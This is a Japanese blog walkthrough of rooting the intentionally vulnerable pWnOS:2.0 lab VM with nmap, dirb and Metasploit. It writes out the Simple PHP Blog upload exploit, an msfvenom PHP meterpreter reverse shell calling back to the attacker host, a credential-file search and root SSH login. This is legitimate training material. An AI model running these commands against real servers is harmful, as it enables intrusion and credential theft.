【ハンズオン】pWnOS:2.0をKali Linuxでハッキングしてroot権限取得

#pWnOS:2.0のroot権限取得

[以前の記事](https://qiita.com/rui-watanabe/items/b6c3d30e97c8cc53a4c3)でpWnOS:2.0を設定しましたが、今回は**この脆弱性のあるサーバーを攻撃して、root権限を取得するWalkthrough（手順）**をハンズオン形式で紹介したいと思います。

#Kali Linuxのツール
今回攻撃には、多くのペネトレーションテストツールが利用できる**Kali Linux**を使用しました。

実践したものは、**nmap、dirb、Metasploit Framework**です。

またMetasploit Frameworkを使う中で、**リバースシェル**という攻撃方法も実践したので前提知識としてまとめていきたいと思います。

##nmapとは
nmapは**ポートをスキャン**するツールで、指定した対象のサーバーに対してどのポートが開いているのか調べることできるツールとなります。

ポートスキャンをした際に、対象先のサーバーにログが残らないようにするステルススキャン機能といったものも搭載されています。

ポートスキャン以外にも、**OSや動いているサービスなど特定することが可能**です。

##dirbとは
dirbとは、ディレクトリバスターの略で、その名の通り、**対象サーバーのディレクトリやファイルをいっせいに表示できるコマンド**になります。

このdirbコマンドで、脆弱性のあるバージョンのPHPファイルや、リバースシェルのアップロード先ディレクトリなどを探していきます。

##Metasploit Frameworkとは
Metasploit Frameworkとは、**脆弱性のスキャニング、攻撃コードの作成と実行、侵入検知等を行うためのフレームワーク**になります。

攻撃コードはマルウェア（意図的に不正で有害な動作を行うために作られたソフトウェアやコードの総称)の一種である**エクスプロイト**を利用することで、プログラムの脆弱性をつくような攻撃を行うことができます。

エクスプロイトによる攻撃は、**ペイロード**と呼ばれる核のプログラムに攻撃命令などが記載されています。

##リバースシェルとは（⇔バインドシェル）
リバースシェルとは、**本来接続される側の対象サーバー側から接続をし、クライアント側では接続を待ち受ける**といった接続方法になります。

このリバースシェルによる攻撃コードを対象サーバーに送信すれば、自由にファイルやディレクトリの操作することも可能になります

このリバースシェルは、対象サーバー側（ターゲット側）から接続がされて、クライアント側(攻撃側）では接続を待ち受けるといった形になるので、**開放されているポートなどを気にせず接続を可能**にしています。

#前提条件
- Kali Linux（攻撃側）　IP:10.10.10.10
- pWnOS:2.0（ターゲット側）　 IP:10.10.10.100

#nmapでサービス・ポート確認

まずは攻撃側で**nmapを実行**し、開放しているポート、サービスなどを取得します。

```
root@kali:~# nmap -sV -p- 10.10.10.100
```

![demo](https://gyazo.com/7df9d798ae6fcca5ea5da686dbb51dfb/raw)


80番ポートが空いていたので、実際に、URLに10.10.10.100を入力しWebページが表示される確認します。

![demo](https://gyazo.com/0b28203677d929fc8d76942acb551e43/raw)


#dirbコマンドでファイル・ソースコードバージョン確認

80番ポートが開放されていることと、実際にWebページが表示されることが分かったので、今度はそのIPアドレス下にどんなディレクトリがあるか**dirbコマンド**で調べていきます。

```
root@kali:~# dirb http://10.10.10.100
```

![demo](https://gyazo.com/8c5df5869038ac3f98b6af9192a4f458/raw)

表示されているディレクトリ一覧で、脆弱性のあるバージョンのものがないかを確認していきます。

いくつかディレクトリを見た結果、http://10.10.10.100/blog のURLには、脆弱性のあるバージョンの**Simple PHP Blog and the Version 0.4.0**が使われていることが分かったので、ここから脆弱性をついていきたいと思います。

![demo](https://gyazo.com/325ecfb3d5c619c8cb0532f7b853e791/raw)

#Metasploitでログイン情報取得

Metasploitには多くのエクスプロイトのモジュールがあり、起動後に使いたいものをsearchで探していきます。

```
root@kali:~# msfconsole

msf > search simple php blog

unix/webapp/sphpblog_file_upload Simple PHP Blog <= 0.4.0 Remote Command Execution
```

上記のSimple PHP Blogに対してのモジュールがあったので、これを使用していきます。

実行の流れとしては、**エクスプロイトのモジュールを指定→接続先の対象ホストを指定→URLを指定→exploitコマンドで実行**、といった流れになります。

また設定は、show optionsで確認できます。

```
msf > use exploit/unix/webapp/sphpblog_file_upload
msf > exploit(unix/webapp/sphpblog_file_upload) > set RHOST 10.10.10.100
msf > exploit(unix/webapp/sphpblog_file_upload) > set URI /blog
msf > exploit(unix/webapp/sphpblog_file_upload) > show options
msf > exploit(unix/webapp/sphpblog_file_upload) > exploit
```

![demo](https://gyazo.com/6617dd888cf3965e0daec69456ae51a8/raw)
![demo](https://gyazo.com/9a21524236deae0ccb698175b5283442/raw)

exploitの実行からlogged in asの後に記載されている、ログイン情報の取得に成功しました。

実際に、Username:2404WX、Password:OWRvAZでログインして成功するか確かめていきます。

![demo](https://gyazo.com/28fbf13a7507f6c4ab5a6e95d1d7e522/raw)

ログインできることが確認できました。


#msfconsoleでリバースシェルを作成
次に、Metasoloit Frameworkで**msfconsole**や**msfvenom**を使い、リバースシェルを作成していきます。

まずmsfconsole内で、PHP環境でターゲット側から攻撃側に対して接続するタイプのシェルを探します。

これは**「ペイロード、TCP型のリバースシェル、PHP」**という条件なので、それに該当モジュールを探すには、以下の検索方法が可能です。

```
root@kali:~# msfconsole

msf > search type:payload reverse_tcp platform:php
```

![demo](https://gyazo.com/d598e6c92b24d729e73fc772dcc54a9e/raw)


今回は条件に当てはまる、**php/meterpreter/reverse_tcpモジュール**を使います。

以下のmsfvenomuコマンドで実行していきます。

```
root@kali:~# msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw
```

それぞれの引数の意味は、-pがペイロードのパス、LHOSTが接続するサーバー（攻撃サーバー）のホスト指定、LPORTが接続するサーバー（攻撃サーバー）のポートを指定、-fが出力ファイル形式を指します。

出力は以下のようになります。

![demo](https://gyazo.com/8e188d53029f44e7c5ec7e23c3a84716/raw)


このphpコードの部分をコピーして、root下に新しいファイルを作成します。

```
root@kali:~# vi reverse.php
#先ほどコピーしたphpコードを張り付け
```

![demo](https://gyazo.com/7459dee6da7ae9acdf8441b338299c79/raw)

#ログイン情報を入力しアップロード

リバースシェルが作成できたら、実際にログインしてアップロードしていきます。

まず、先ほどsphpblog_file_uploadモジュールで取得したユーザー情報を使ってログインします。


その後Upload Imageタブをクリックし、Browserボタンを選択。

自分のフォルダが開くので、先ほどroot下で作ったreverse.phpファイルを選択し、Uploadボタンを押します。

![demo](https://gyazo.com/8e1266218ebfd53b52324e359f1ec635/raw)

これでリバースシェルのアップロードは完了しました。

しかしどこにアップロードしたかわからないので、再度dirbコマンドディレクトリを探してみます。


![demo](https://gyazo.com/c1b03c4e63f9868898498eb0cc5a9e91/raw)


ここで**/blog/imagesディレクトリ**にアップロードしたファイルがあるのでURLに飛ぶと、先ほどアップロードしたreverse.phpファイルがあることが確認できました。

![demo](https://gyazo.com/5e0ecad08aab81578424e6482b75ae5f/raw)


#msfconsoleでリバースシェルにアクセス

リバースシェルがセットできたので、ここから接続を行っていきます。

接続にはmsfconsole内の、リバースシェルからの接続を待ち受ける際に使用するモジュール、**exploit/multi/handler**を使っていきます。

exploit/multi/handlerを選択したら、接続される対象ホスト（攻撃側のホスト）、対象ポート（攻撃側のポート）、対象ペイロードを選択して設定を確認、起動します。

```
msf > use exploit/multi/handler
msf exploit(multi/handler) > set LHOST 10.10.10.10
LHOST => 172.16.208.161
msf exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf exploit(multi/handler) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf exploit(multi/handler) > show options
msf exploit(multi/handler) > exploit
```

exploitで起動したら、ターゲット側からの接続を待っている状態になるので、先ほどdirbコマンドで探したhttp://10.10.10.100/blog/images/reverse.php をcurlで開きます（別タブ）。

```
root@kali:~# curl http://10.10.10.100/blog/images/reverse.php
```

その後exploit/multi/handlerモジュールでセッションが開始され、meterpreterというコンソールni
入れたら成功となります。

![demo](https://gyazo.com/7729e85d18917ef64b57f473edb14d9b/raw)

このコンソール上では、システム情報やセッション実行権限なども確認できます。

```
meterpreter > sysinfo
meterpreter > getuid
```
![demo](https://gyazo.com/e25cac436244c903d79a8b53524770ab/raw)

#shellでroot情報を取得

次にシステム内部情報にアクセスにアクセスしたいので、**shellに入り操作**していきます。

またファイルを検索したいので、root下に移動します。

```
meterpreter > shell
cd /
```

ここでは、mysqlに接続されているroot情報を記載しているファイルを**findコマンド**で探し出していきたいと思います。

そのため、.phpの拡張子のもので、DBに接続するために必要なコードである"DB_USER"が記載されているファイルを探し出します。

```
find ./ "*.php" -type f -print | xargs grep "DB_USER*"
```

上記のコマンドは、-typeでファイルを指定、-printで該当するファイルを出力、xargsで以下のコマンドも実行可能とし、grepで文字列の検索をしています。

これで下記のように、ユーザー名がrootの、MySQL接続に関するPHPファイル/var/mysqli_connect.phpを見つけることができました。

![demo](https://gyazo.com/8477a17205e5a8c39afd44ac52ff7978/raw)

実際にcatコマンドで開いて、確認します。

```
cat /var/mysqli_connect.php
```

![demo](https://gyazo.com/78fa15e06b2316c0438e18e7320f8b79/raw)

#rootでログイン

最後に、取得したrootのパスワードでssh接続をしてみます。

```
root@kali:~# ssh root@10.10.10.100
root@10.10.10.100's password:root@ISIntS
```

![demo](https://gyazo.com/8c4877648f9c1aa9ef2a2630ab6deca6/raw)

これでログインが成功できたので、目的であった**root権限の取得**が完了しました。

#所感

今回はビギナー向けのやられサーバーであるpWnOS:2.0にKali Linuxを使ってハッキングを行いました。

ビギナー向けと言っても初心者の自分にとっては難しく、いろんなサイトを参考にしながら進めていきました。

ハッキングツールを試したいという人は、ぜひ今回のハンズオンの手順で試してみてください。


#参考URL

nmap
https://qiita.com/hedgeh0g/items/292a04073acd46f665a0

dirb
https://qiita.com/prograti/items/00cba4ea0ab7d45cf61e

Metadploit Framework
https://www.atmarkit.co.jp/ait/articles/1504/28/news011.html
https://www.jnsa.org/ikusei/03/08-01.html
https://media.kaspersky.com/jp/pdf/pr/Kaspersky_Exploits-Report-PR-1039.pdf

リバースシェル
https://medium.com/yuikuras-cracking-lab/netcat%E3%81%AE%E4%BE%BF%E5%88%A9%E3%81%AA%E6%A9%9F%E8%83%BD%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6-c7598145282d
https://www.atmarkit.co.jp/ait/articles/1507/01/news023.html
https://kusuwada.hatenablog.com/entry/2019/10/30/044325
https://qiita.com/ahetaro/items/00da46009c147c656b2d
https://www.acunetix.com/blog/web-security-zone/what-is-reverse-shell/

Walkthroughの参考
https://qiita.com/v_avenger/items/8afcf758990c9ab03ad7
https://www.hackingarticles.in/hack-the-pwnos-2-0-boot-2-root-challenge/
https://ox0xo.github.io/security/wordpress
https://qiita.com/v_avenger/items/3991f2640b9694b8697a#%E3%83%AA%E3%83%AA%E3%83%BC%E3%82%B9%E6%83%85%E5%A0%B1
https://qiita.com/prograti/items/00cba4ea0ab7d45cf61e
https://qiita.com/v_avenger/items/3991f2640b9694b8697a
https://www.atmarkit.co.jp/ait/articles/1512/15/news003_3.html
https://qiita.com/rivarten/items/97aae9aeefcfd498ae90
https://usedoor.jp/howto/web/server/linux-hukusuu-file-mojiretsu-kensaku-find-command/